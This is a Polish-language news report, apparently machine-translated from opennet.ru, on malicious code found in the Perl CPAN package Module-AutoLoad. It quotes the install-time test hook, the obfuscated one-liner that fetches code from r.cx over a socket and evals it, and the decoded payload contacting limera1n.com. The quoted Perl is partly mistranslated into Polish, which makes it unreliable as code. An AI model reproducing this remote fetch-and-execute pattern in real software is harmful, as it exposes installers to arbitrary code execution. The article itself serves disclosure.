W pakiecie Module-AutoLoad Perl wykryto złośliwy kod

W pakiecie Perla dystrybuowanym poprzez katalog CPAN Moduł-AutoLoad, przeznaczony do automatycznego ładowania modułów CPAN w locie, zidentyfikowany złośliwy kod. Szkodliwa wstawka była znaleziony w kodzie testowym 05_rcx.t, który dostarczamy od 2011 roku.
Warto zauważyć, że pojawiły się pytania dotyczące ładowania wątpliwego kodu Stackoverflow w 2016 roku.

Złośliwe działanie sprowadza się do próby pobrania i wykonania kodu z serwera strony trzeciej (http://r.cx:1/) podczas wykonywania zestawu testów uruchamianego podczas instalacji modułu. Zakłada się, że kod pierwotnie pobrany z serwera zewnętrznego nie był złośliwy, jednak teraz żądanie zostaje przekierowane do domeny ww.limera1n.com, która udostępnia swoją część kodu do wykonania.

Aby uporządkować pobieranie w pliku 05_rcx.t Używany jest następujący kod:

mój $prog = __PLIK__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
mój $try = `$^X $prog`;

Podany kod powoduje wykonanie skryptu ../contrib/RCX.pl, którego zawartość sprowadza się do linii:

użyj biblioteki lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.:1″};

Ten skrypt się ładuje zdezorientowany korzystając z usługi perlobfuscator.com kod z zewnętrznego hosta r.cx (kody znaków 82.46.99.88 odpowiadają tekstowi „R.cX”) i wykonuje go w bloku eval.

$ perl -MIO::Socket -e'$b=nowy IO::Socket::INET 82.46.99.88.:1″; drukuj <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Po rozpakowaniu ostatecznie wykonywane są następujące czynności: kod:

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";valor return warn$@while$b;1

Problematyczny pakiet został już usunięty z repozytorium. PAUSE (Serwer przesyłania autorów Perla), a konto autora modułu jest zablokowane. W tym przypadku moduł nadal pozostaje dostępny w archiwum MetaCPAN i można go zainstalować bezpośrednio z MetaCPAN przy użyciu niektórych narzędzi, takich jak cpanminus. odnotowanyże pakiet nie był szeroko rozpowszechniony.

Ciekawe do omówienia połączony oraz autor modułu, który zaprzeczył informacji jakoby po włamaniu na jego stronę „r.cx” został wstawiony złośliwy kod i wyjaśnił, że tylko się bawił, a perlobfuscator.com użył nie po to, żeby coś ukryć, ale żeby zmniejszyć rozmiar kodu i uproszczenie jego kopiowania poprzez schowek. Wybór nazwy funkcji „botstrap” tłumaczy się tym, że słowo to „brzmi jak bot i jest krótsze niż bootstrap”. Autor modułu zapewnił również, że zidentyfikowane manipulacje nie wykonują szkodliwych działań, a jedynie demonstrują ładowanie i wykonanie kodu poprzez protokół TCP.

Źródło: opennet.ru

Dodaj komentarz